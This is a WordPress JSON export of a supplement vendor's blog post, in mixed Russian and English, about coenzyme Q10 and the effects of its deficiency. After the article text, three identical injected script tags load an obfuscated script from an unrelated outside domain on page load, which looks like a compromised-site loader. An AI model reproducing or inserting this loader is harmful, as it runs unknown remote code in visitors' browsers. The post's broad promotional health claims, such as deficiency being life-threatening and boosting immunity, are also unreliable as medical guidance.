{"id":7343,"date":"2024-07-03T12:42:30","date_gmt":"2024-07-03T04:42:30","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7343"},"modified":"2025-02-06T09:30:08","modified_gmt":"2025-02-06T01:30:08","slug":"does-coq10-deficiency-have-any-effect-on-the-body","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ru\/\u0432\u043b\u0438\u044f\u0435\u0442-\u043b\u0438-\u0434\u0435\u0444\u0438\u0446\u0438\u0442-coq10-\u043d\u0430-\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c-2\/","title":{"rendered":"\u041e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043b\u0438 \u0434\u0435\u0444\u0438\u0446\u0438\u0442 coQ10 \u043a\u0430\u043a\u043e\u0435-\u043b\u0438\u0431\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-331861f\" data-block-id=\"331861f\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3546\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10.jpg\" width=\"811\" height=\"457\" alt=\"\u0412 \u043a\u0430\u043a\u043e\u0439 \u0434\u043e\u0437\u0438\u0440\u043e\u0432\u043a\u0435 \u0438 \u043a\u0430\u043a \u0434\u043e\u043b\u0433\u043e \u043b\u0443\u0447\u0448\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u041a\u043e\u044d\u043d\u0437\u0438\u043c Q10\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10.jpg 811w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-300x169.jpg 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-768x433.jpg 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-600x338.jpg 600w\" sizes=\"(max-width: 811px) 100vw, 811px\" \/><\/figure><\/div>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ru\/\u043f\u0440\u043e\u0434\u0443\u043a\u0442\/\u043a\u043e\u044d\u043d\u0437\u0438\u043c-q10-\u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438-\u043a\u043e\u044d\u043d\u0437\u0438\u043c-q10-\u043f\u0440\u043e\u0438\u0437\u0432\u043e\/\">\u041a\u043e\u044d\u043d\u0437\u0438\u043c Q10<\/a>&nbsp;\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0444\u0435\u0440\u043c\u0435\u043d\u0442\u043e\u043c \u043c\u0438\u0442\u043e\u0445\u043e\u043d\u0434\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0435\u0440\u043c\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u0430, \u0438\u0433\u0440\u0430\u044e\u0449\u0435\u0433\u043e \u0432\u0430\u0436\u043d\u0443\u044e \u0440\u043e\u043b\u044c \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u043a\u043b\u0435\u0442\u043e\u0447\u043d\u043e\u0439 \u044d\u043d\u0435\u0440\u0433\u0438\u0438. \u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0432 \u043a\u043b\u0438\u043d\u0438\u043a\u0435 \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043a\u0430\u043a \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u0435\u043f\u0430\u0440\u0430\u0442.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u041a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u043e\u044d\u043d\u0437\u0438\u043c Q10?<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ru\/what-dosage-and-how-long-is-it-best-to-take-coenzyme-q10\/\">\u041a\u043e\u044d\u043d\u0437\u0438\u043c Q10<\/a>&nbsp;(CoQ10) - \u044d\u0442\u043e \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435, \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0435\u0435\u0441\u044f \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u0438\u043d\u0442\u0435\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435 \u0438 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u0442\u044c \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c \u0438\u0437\u0432\u043d\u0435.<\/p>\n\n\n\n<p>\u0412 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u043c \u0442\u0435\u043b\u0435,&nbsp;<a href=\"https:\/\/www.backvita.com\/ru\/\u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440-\u043e-\u043a\u043e\u044d\u043d\u0437\u0438\u043c\u0435-q10-\u0441-\u0442\u043e\u0447\u043a\u0438-\u0437\u0440\u0435\u043d\u0438\u044f-\u043c\u0435\/\">\u041a\u043e\u044d\u043d\u0437\u0438\u043c Q10<\/a>&nbsp;\u043e\u0431\u0440\u0430\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0437 \u0442\u0438\u0440\u043e\u0437\u0438\u043d\u0430 \u0438\u043b\u0438 \u0444\u0435\u043d\u0438\u043b\u0430\u043b\u0430\u043d\u0438\u043d\u0430 \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0437\u0430 \u0431\u0435\u043d\u0437\u043e\u0445\u0438\u043d\u043e\u043d\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0438\u0437 \u0430\u0446\u0435\u0442\u0438\u043b-\u043a\u043e\u044d\u043d\u0437\u0438\u043c\u0430 \u0410 (\u041a\u043e\u0410) \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0437\u0430 \u043f\u043e\u043b\u0438\u0438\u0437\u043e\u043f\u0440\u0435\u043d\u043e\u0432\u043e\u0439 \u0431\u043e\u043a\u043e\u0432\u043e\u0439 \u0446\u0435\u043f\u0438 \u043f\u043e \u0432\u0430\u043b\u0435\u0440\u0430\u0442\u043d\u043e\u043c\u0443 \u043f\u0443\u0442\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0435\u0442\u0441\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043a\u043e\u043d\u0434\u0435\u043d\u0441\u0430\u0446\u0438\u0438 \u0441 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u041a\u043e\u044d\u043d\u0437\u0438\u043c\u0430 Q10 \u043f\u0443\u0442\u0435\u043c \u0433\u0438\u0434\u0440\u043e\u043a\u0441\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043c\u0435\u0442\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0434\u0435\u043a\u0430\u0440\u0431\u043e\u043a\u0441\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.<\/p>\n\n\n\n<p>\u041f\u043e\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437 \u043c\u044f\u0441\u0430, \u0441\u0443\u0431\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0435\u0447\u0435\u043d\u0438), \u0436\u0438\u0440\u043d\u043e\u0439 \u0440\u044b\u0431\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043b\u043e\u0441\u043e\u0441\u044f \u0438 \u0442\u0443\u043d\u0446\u0430), \u0446\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0435\u0440\u043d\u0430, \u043e\u0440\u0435\u0445\u043e\u0432 \u0438 \u0442. \u0434., \u0430 \u0442\u0430\u043a\u0436\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c&nbsp;<a href=\"https:\/\/www.backvita.com\/ru\/what-are-the-seven-functions-of-coenzyme-q10-benefits-coenzyme-q10\/\">coQ10<\/a>&nbsp;\u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u043c \u0442\u0435\u043b\u0435.<\/p>\n\n\n\n<p>\u0421\u0435\u0440\u0434\u0446\u0435 - \u043e\u0440\u0433\u0430\u043d, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0439 \u0438 \u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u044e\u0449\u0438\u0439 \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u044d\u043d\u0435\u0440\u0433\u0438\u0438 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435. \u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430\u0431\u043e\u043b\u0438\u0437\u043c\u0430 \u0438 \u044d\u043d\u0435\u0440\u0433\u043e\u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043c\u0438\u043e\u043a\u0430\u0440\u0434\u0430 \u0432\u043e\u0432\u043b\u0435\u0447\u0435\u043d\u044b \u0432 \u043f\u0430\u0442\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u043f\u0440\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0434\u0435\u0447\u043d\u043e-\u0441\u043e\u0441\u0443\u0434\u0438\u0441\u0442\u044b\u0445 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u044f\u0445. \u041f\u0440\u0438 \u0434\u0435\u0444\u0438\u0446\u0438\u0442\u0435 \u043a\u043e\u044d\u043d\u0437\u0438\u043c\u0430 \u043a\u043e\u044d\u043d\u0437\u0438\u043c 10 \u0441\u0438\u043b\u044c\u043d\u043e \u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0441\u0435\u0440\u0434\u0446\u0435 - \u043e\u0440\u0433\u0430\u043d \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043a\u043e\u044d\u043d\u0437\u0438\u043c\u0430 Q10 \u0442\u0430\u043a\u043e\u0432:<\/p>\n\n\n\n<p>\u0423\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u043a\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u0444\u043e\u0441\u0444\u043e\u0440\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438, \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u0443\u044f \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043e\u0432 \u0432 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e-\u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u043e\u0439 \u0446\u0435\u043f\u0438; \u2461 \u0410\u043d\u0442\u0438\u043e\u043a\u0441\u0438\u0434\u0430\u043d\u0442 \u0438\u043b\u0438 \u043f\u043e\u0433\u043b\u043e\u0442\u0438\u0442\u0435\u043b\u044c \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0445 \u0440\u0430\u0434\u0438\u043a\u0430\u043b\u043e\u0432 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u043c\u043e\u0440\u0444\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043c\u0438\u0442\u043e\u0445\u043e\u043d\u0434\u0440\u0438\u0439 \u0438\u0448\u0435\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0440\u0434\u0438\u043e\u043c\u0438\u043e\u0446\u0438\u0442\u043e\u0432, \u0441\u043d\u0438\u0436\u0430\u0442\u044c \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0441\u043e\u0441\u0443\u0434\u0438\u0441\u0442\u043e\u0435 \u0441\u043e\u043f\u0440\u043e\u0442\u0438\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0434\u0435\u0447\u043d\u044b\u0439 \u0432\u044b\u0431\u0440\u043e\u0441; \u2462 \u041f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u043f\u043e\u0440\u043e\u0433 \u0436\u0435\u043b\u0443\u0434\u043e\u0447\u043a\u043e\u0432\u043e\u0439 \u0430\u0440\u0438\u0442\u043c\u0438\u0438 \u0438 \u0430\u043d\u0442\u0438\u0430\u0440\u0438\u0442\u043c\u0438\u0438; \u2463 \u0410\u043d\u0442\u0430\u0433\u043e\u043d\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0430\u043b\u044c\u0434\u043e\u0441\u0442\u0435\u0440\u043e\u043d \u0438 \u0437\u0430\u0442\u0435\u043c \u0438\u043d\u0433\u0438\u0431\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0438\u043e\u043a\u0430\u0440\u0434\u0430.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u041a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0438\u0433\u0440\u0430\u0435\u0442 \u043a\u043eQ10 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430?<\/h2>\n\n\n\n<p>In fact, its functions in the human body can be described as various. First, it helps cells convert sugar and fat into energy, which is essential for maintaining normal body metabolism and functioning. Secondly, coenzyme Q10 can also help the body to resist the damage of free radicals, and has a certain antioxidant effect, which is beneficial to slow down the aging process of the body. In addition, it can also strengthen the function of the immune system, promote cardiovascular health, and increase the body\u2019s endurance and resistance to fatigue. It can be seen that the importance of coenzyme Q10 for health is still very large.<\/p>\n\n\n\n<p>\u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0435 \u043a\u043e\u044d\u043d\u0437\u0438\u043c\u0430 Q10 \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0435\u043d\u044c \u0432\u0435\u043b\u0438\u043a\u043e.<\/p>\n\n\n\n<p>\u041f\u0435\u0440\u0432\u0430\u044f - \u044d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043c\u0435\u043d\u0430, \u0432\u0435\u0434\u044c \u043a\u043e\u044d\u043d\u0437\u0438\u043c Q10 \u0438\u0433\u0440\u0430\u0435\u0442 \u0432\u0430\u0436\u043d\u0435\u0439\u0448\u0443\u044e \u0440\u043e\u043b\u044c \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0433\u043b\u044e\u043a\u043e\u0437\u044b \u0438 \u0436\u0438\u0440\u0430 \u0432 \u044d\u043d\u0435\u0440\u0433\u0438\u044e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0435 \u043a\u043e\u044d\u043d\u0437\u0438\u043c\u0430 Q10 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u044d\u043d\u0435\u0440\u0433\u0438\u0438 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043e, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0443\u0441\u0442\u0430\u043b\u043e\u0441\u0442\u0438, \u0441\u043b\u0430\u0431\u043e\u0441\u0442\u0438, \u0443\u0442\u043e\u043c\u043b\u044f\u0435\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0441\u0438\u043c\u043f\u0442\u043e\u043c\u0430\u043c. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043a\u043e\u044d\u043d\u0437\u0438\u043c\u0430 Q10 \u0442\u0430\u043a\u0436\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0438\u043c\u043c\u0443\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0434\u0435\u043b\u0430\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0434\u043b\u044f \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0431\u0430\u043a\u0442\u0435\u0440\u0438\u0439, \u0432\u0438\u0440\u0443\u0441\u043e\u0432, \u0433\u0440\u0438\u0431\u043a\u043e\u0432 \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0430\u0442\u043e\u0433\u0435\u043d\u043d\u044b\u0445 \u043c\u0438\u043a\u0440\u043e\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u043e\u0432, \u043b\u0435\u0433\u043a\u043e \u0437\u0430\u0440\u0430\u0436\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0431\u043e\u043b\u0435\u0437\u043d\u044f\u043c\u0438.<\/p>\n\n\n\n<p>\u0421\u0430\u043c\u044b\u0439 \u0432\u0430\u0436\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043a\u043eQ10 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u043f\u043e\u0440\u043e\u0447\u043d\u043e\u0433\u043e \u043a\u0440\u0443\u0433\u0430.<\/p>\n\n\n\n<p>This is because, when the body lacks coenzyme Q10, the cell respiratory chain of the heart, liver, muscles and other important organs will be affected, resulting in a reduction in the oxygen content of the body, poor blood circulation, thus limiting the distribution and supply of energy produced in the body, this vicious cycle will make the body\u2019s symptoms continue to worsen, and may even be life-threatening. Therefore, the harm of lack of coQ10 should not be underestimated.<\/p>\n\n\n\n<p>\u0441\u0441\u044b\u043b\u043a\u0430<\/p>\n\n\n\n<p>\u0421\u0441\u044b\u043b\u043a\u0438: \u041e\u0442\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u042d\u041a\u0413 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u0435\u0440\u0434\u0446\u0430 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0440\u0438\u0430\u0442\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430, \u041e\u0442\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0434\u0435\u0447\u043d\u043e-\u0441\u043e\u0441\u0443\u0434\u0438\u0441\u0442\u043e\u0439 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u044b \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u0438 \u0432\u0440\u0430\u0447\u0435\u0439, \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0434\u0435\u0447\u043d\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438, \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u044b\u0439 \u043a\u043e\u043c\u0438\u0442\u0435\u0442 \u0410\u043b\u044c\u044f\u043d\u0441\u0430. \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u044b\u0439 \u043a\u043e\u043d\u0441\u0435\u043d\u0441\u0443\u0441 \u043f\u043e \u043a\u043b\u0438\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u0435\u043f\u0430\u0440\u0430\u0442\u043e\u0432 \u0434\u043b\u044f \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430\u0431\u043e\u043b\u0438\u0437\u043c\u0430 \u043c\u0438\u043e\u043a\u0430\u0440\u0434\u0430 (2021)[J]. \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u0433\u0435\u0440\u0438\u0430\u0442\u0440\u0438\u0438, 2021, 40(9):1081-1092. (\u043d\u0430 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0435)<\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>Coenzyme Q10&nbsp;is a coenzyme of mitochondrial enzyme complex, which plays an important role in cell energy production. Currently, it is mostly used as an auxiliary drug in clinic. How does Coenzyme Q10 work? Coenzyme Q10&nbsp;(CoQ10) is a naturally occurring compound in the human body that can be synthesized in the body and ingested externally. In [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3546,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"Does coQ10 deficiency have any effect on the body","_seopress_titles_desc":"Coenzyme Q10\u00a0(CoQ10) is a naturally occurring compound in the human body that can be synthesized in the body and ingested externally.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10.jpg",811,457,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-150x150.jpg",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-300x169.jpg",300,169,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-768x433.jpg",768,433,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10.jpg",811,457,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10.jpg",811,457,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10.jpg",811,457,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10.jpg",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-300x300.jpg",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-600x338.jpg",600,338,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/What-dosage-and-how-long-is-it-best-to-take-Coenzyme-Q10-100x100.jpg",100,100,true]},"post_excerpt_stackable":"<p>Coenzyme Q10&nbsp;is a coenzyme of mitochondrial enzyme complex, which plays an important role in cell energy production. Currently, it is mostly used as an auxiliary drug in clinic. How does Coenzyme Q10 work? Coenzyme Q10&nbsp;(CoQ10) is a naturally occurring compound in the human body that can be synthesized in the body and ingested externally. In the human body,&nbsp;Coenzyme Q10&nbsp;is derived from tyrosine or phenylalanine to synthesize benzoquinone structure and from acetyl Coenzyme A (CoA) to synthesize polyisoprene side chain via the valerate pathway, and then further modified and condensed to form Coenzyme Q10 by hydroxylation, methylation and decarboxylation. External intake&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ru\/category\/\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0435-\u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ru\/author\/backvita\/"},"comments_num":"0 